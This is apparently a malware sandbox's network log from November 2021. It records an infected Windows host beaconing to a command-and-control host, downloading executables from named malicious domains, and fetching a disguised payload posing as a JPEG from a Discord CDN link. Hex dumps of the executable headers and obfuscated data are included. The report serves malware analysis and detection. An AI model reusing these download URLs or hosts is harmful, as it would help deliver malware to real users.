68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 
64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

34 192.168.2.4 49886 47.74.84.15 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 9, 2021 
22:22:08.753948927 CET

11328 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://umqsuuguwn.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 364
Host: nalirou70.top

Nov 9, 2021 
22:22:09.729840994 CET

11329 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Tue, 09 Nov 2021 21:22:09 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 34 35 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 1a ff b5 98 ff ac 18 a8 19 
88 2c b4 59 52 db 03 f8 e5 2c f3 65 02 47 e5 aa e3 1e bb 52 df 41 d1 ff 27 87 21 80 a5 9a 52 2e f8 e3 00 7e 0d 0a 30 0d 
0a 0d 0a 
Data Ascii: 45I:82OU&,YR,eGRA'!R.~0

Session ID Source IP Source Port Destination IP Destination Port Process

35 192.168.2.4 49887 47.74.84.15 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 9, 2021 
22:22:10.497035027 CET

11329 OUT GET /files/7993_1636371023_9825.exe HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: host-host-file6.com
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Nov 9, 2021 
22:22:11.359823942 CET

11331 IN HTTP/1.1 200 OK
Date: Tue, 09 Nov 2021 21:22:11 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38
Last-Modified: Mon, 08 Nov 2021 11:30:23 GMT
ETag: "ad600-5d04551962fd0"
Accept-Ranges: bytes
Content-Length: 710144
Connection: close
Content-Type: application/octet-stream
Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 
65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
50 45 00 00 4c 01 04 00 e6 07 c1 5e 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 1e 08 00 00 42 03 00 00 00 00 
00 cc 1e 00 00 00 10 00 00 00 30 08 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 
00 00 00 60 0b 00 00 04 00 00 ba a1 0b 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 
00 00 00 00 00 00 00 00 00 00 00 54 62 08 00 3c 00 00 00 00 00 09 00 b0 5f 02 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 b0 31 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 28 4e 08 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 08 00 6c 01 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 60 1d 08 00 00 10 00 00 00 1e 08 00 00 04 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a0 3a 00 00 00 30 08 00 00 3c 00 00 00 22 08 00 
00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 c4 8e 00 00 00 70 08 00 00 18 00 00 00 5e 08 
00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 5f 02 00 00 00 09 00 00 60 02 00 00 76 
08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL^B0@`Tb<_1(N@0l.text` `.rdata:0<"@@.dat
ap^@.rsrc_`v@@

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

4 192.168.2.4 49780 47.74.84.15 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 9, 2021 
22:20:50.087435007 CET

1213 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://xyauqxpv.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 319
Host: nalirou70.top

Nov 9, 2021 
22:20:51.068881035 CET

1214 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Tue, 09 Nov 2021 21:20:50 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 34 35 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 b2 83 bd a6 0b a2 
13 cc 7b b8 43 08 c4 55 a1 a7 3d ef 3a 1a 1a b3 ee d2 43 e2 00 8d 01 c9 ba 78 da 7e ac ec c3 02 29 f8 e3 00 7e 0d 0a 30 
0d 0a 0d 0a 
Data Ascii: 45I:82OOj{CU=:Cx~)~0

Session ID Source IP Source Port Destination IP Destination Port Process

5 192.168.2.4 49781 47.74.84.15 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 9, 2021 
22:20:51.417298079 CET

1214 OUT GET /downloads/toolspab2.exe HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: privacytoolzforyou7000.top
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Nov 9, 2021 
22:20:52.278337955 CET

1216 IN HTTP/1.1 200 OK
Date: Tue, 09 Nov 2021 21:20:51 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38
Last-Modified: Tue, 09 Nov 2021 21:20:02 GMT
ETag: "47800-5d061ac268811"
Accept-Ranges: bytes
Content-Length: 292864
Connection: close
Content-Type: application/octet-stream
Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 
65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd 92 82 96 f9 f3 ec c5 f9 f3 ec c5 f9 f3 ec c5 96 85 47 c5 d3 f3 ec c5 96 85 72 c5 
e8 f3 ec c5 96 85 46 c5 9e f3 ec c5 f0 8b 7f c5 fe f3 ec c5 f9 f3 ed c5 7c f3 ec c5 96 85 43 c5 f8 f3 ec c5 96 85 76 c5 f8 f3 ec
c5 96 85 71 c5 f8 f3 ec c5 52 69 63 68 f9 f3 ec c5 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4d 64 d7 5f 00 00 00 
00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 14 03 00 00 a6 70 02 00 00 00 00 60 82 01 00 00 10 00 00 00 30 03 00 00 00 
40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 74 02 00 04 00 00 31 08 05 00 02 
00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 ec 16 03 00 
50 00 00 00 00 a0 72 02 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 72 02 c0 17 00 00 40 12 00 
00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 7b 01 00 40 00 00 00 00 00 
00 00 00 00 00 00 00 10 00 00 ec 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 
74 65 78 74 00 00 00 a8 12 03 00 00 10 00 00 00 14 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 
2e 64 61 74 61 00 00 00 2c 64 6f 02 00 30 03 00 00 12 00 00 00 18 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 
c0 2e 72 73 72 63 00 00 00 10 42 00 00 00 a0 72 02 00 44 00 00 00 2a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 
00 40 2e 72 65 6c 6f 63 00 00 c8 09 01 00 00 f0 72 02 00 0a 01 00 00 6e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 
00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$GrF|CvqRichPELMd_p`0@t1PrBr@{@.text `.data
,do0@.rsrcBrD*@@.relocrn@B

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

6 192.168.2.4 49783 47.74.84.15 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 9, 2021 
22:20:56.667695045 CET

1529 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://ruebf.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 330
Host: nalirou70.top

Nov 9, 2021 
22:20:57.647743940 CET

1530 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Tue, 09 Nov 2021 21:20:57 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 
64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

7 192.168.2.4 49784 47.74.84.15 80 C:\Windows\explorer.exe
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Timestamp
kBytes
transferred Direction Data

Nov 9, 2021 
22:20:58.655348063 CET

1531 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://vhiaeb.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 113
Host: nalirou70.top

Nov 9, 2021 
22:20:59.633724928 CET

1532 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Tue, 09 Nov 2021 21:20:59 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 93 d6 10 49 3a 40 a8 e8 dd e1 fd 5f f7 4d 
91 71 b2 42 4a 84 4b f4 f1 2c 89 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 2cI:82OI:@_MqBJK,0

Session ID Source IP Source Port Destination IP Destination Port Process

8 192.168.2.4 49786 47.74.84.15 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 9, 2021 
22:21:04.788521051 CET

1533 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://jjvrsspwd.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 299
Host: nalirou70.top

Nov 9, 2021 
22:21:05.768644094 CET

1564 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Tue, 09 Nov 2021 21:21:05 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 
64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

9 192.168.2.4 49788 47.74.84.15 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 9, 2021 
22:21:06.100507975 CET

1571 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://hjuvthale.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 147
Host: nalirou70.top

Nov 9, 2021 
22:21:07.085383892 CET

1701 IN HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Tue, 09 Nov 2021 21:21:06 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close

HTTPS Proxied Packets
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Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.4 49868 162.159.134.233 443 C:\Users\user\AppData\Local\Temp\B8B0.exe

Timestamp
kBytes
transferred Direction Data

2021-11-09 21:21:48 UTC 0 OUT GET /attachments/893177342426509335/902526114763767818/A623D0D3.jpg HTTP/1.1
Host: cdn.discordapp.com
Connection: Keep-Alive

2021-11-09 21:21:48 UTC 0 IN HTTP/1.1 200 OK
Date: Tue, 09 Nov 2021 21:21:48 GMT
Content-Type: image/jpeg
Content-Length: 1023400
Connection: close
CF-Ray: 6aba17c8bf016963-FRA
Accept-Ranges: bytes
Age: 1241204
Cache-Control: public, max-age=31536000
ETag: "a79ffe2a90ab83e54cd38dd94a2b6a6d"
Expires: Wed, 09 Nov 2022 21:21:48 GMT
Last-Modified: Tue, 26 Oct 2021 11:56:33 GMT
Vary: Accept-Encoding
CF-Cache-Status: HIT
Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Cf-Bgj: h2pri
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
x-goog-generation: 1635249393939568
x-goog-hash: crc32c=mLSBFQ==
x-goog-hash: md5=p5/+KpCrg+VM043ZSitqbQ==
x-goog-metageneration: 1
x-goog-storage-class: STANDARD
x-goog-stored-content-encoding: identity
x-goog-stored-content-length: 1023400
X-GUploader-UploadID: ADPycduXLAU0rhkOYYdjTYv8nzQOrUiGMR0rq3qWR-Mu3t2dKo7sgrujSRwPDi2ARPYG
wmCnqDDiBBlucDqiDRky3RaT0EIS3w
X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5oUOkhR9pWpnZgv0jKBmpMWPGbEo3PjL
5cS%2BkukD048ebitCz9exEHMGoox%2FDaMh2K7kigqvCvcedNWoECtYehJvvfFQTCH1t1z05KyI8y9MINSojTZgRB
fFIlFfiH17Sdmm%2Fw%3D%3D"}],"group":"cf-nel","max_age":604800}

2021-11-09 21:21:48 UTC 1 IN Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 
22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 
6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a 
Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare

2021-11-09 21:21:48 UTC 1 IN Data Raw: 78 4f 6f 45 4b 59 52 74 6b 51 2d 74 74 20 51 78 20 4f 4b 4b 20 78 20 45 20 78 20 78 20 78 20 4b 20 78 20 78 
20 78 20 6f 59 59 20 6f 59 59 20 78 20 78 20 4f 6b 4b 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 52 4b 20 78 20 78 20 
78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 
20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 4f 6f 6b 20 78 20 78 20 78 20 4f 4b 20 
45 4f 20 4f 6b 52 20 4f 4b 20 78 20 4f 6b 78 20 51 20 6f 78 59 20 45 45 20 4f 6b 4b 20 4f 20 74 52 20 6f 78 59 20 45 45 20 
6b 4b 20 4f 78 4b 20 4f 78 59 20 4f 4f 59 20 45 6f 20 4f 4f 6f 20 4f 4f 4b 20 4f 4f 4f 20 4f 78 45 20 4f 4f 4b 20 51 74 20 4f 78
51 20 45 6f 20 51 51 20 51 74 20 4f 4f 78 20 4f 
Data Ascii: xOoEKYRtkQ-tt Qx OKK x E x x x K x x x oYY oYY x x OkK x x x x x x x RK x x x x x x x x x x x x x x x x x x x x 
x x x x x x x x x x x x x x x Ook x x x OK EO OkR OK x Okx Q oxY EE OkK O tR oxY EE kK OxK OxY OOY Eo OOo OOK 
OOO OxE OOK Qt OxQ Eo QQ Qt OOx O

2021-11-09 21:21:48 UTC 2 IN Data Raw: 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 6f 59 20 4b 78 20 6f 6f 51 20 
4f 78 51 20 4f 4f 59 20 59 78 20 4b 6b 20 59 78 20 59 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 4b 52 20 4f 4b 45 20 59 78 
20 4b 6b 20 4f 45 6b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 4f 6f 20 59 78 20 59 4b
20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 
20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78
20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 74 52 20 59 78 20 59 4b 
20 6b 4b 20 4f 6f 4b 20 4f 78 52 
Data Ascii: x x x x x x x x x x x x x oY Kx ooQ OxQ OOY Yx Kk Yx Yx kK OOK OOt OKR OKE Yx Kk OEk YK kK OOK OOt 
OxQ OOo Yx OOo Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ O
Oo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx OtR Yx YK kK OoK OxR

2021-11-09 21:21:48 UTC 4 IN Data Raw: 59 4f 20 59 4b 20 6b 4b 20 4f 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 
6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 6b 20 59 4b 20 6b 4b 20 4f 6b 20 51 4f 20 45 4f
20 45 20 52 4b 20 6b 45 20 59 78 20 59 4b 20 6b 4b 20 4f 74 6b 20 4f 4f 6b 20 4f 78 51 20 4f 4f 6f 20 59 78 20 6f 4b 78 20 
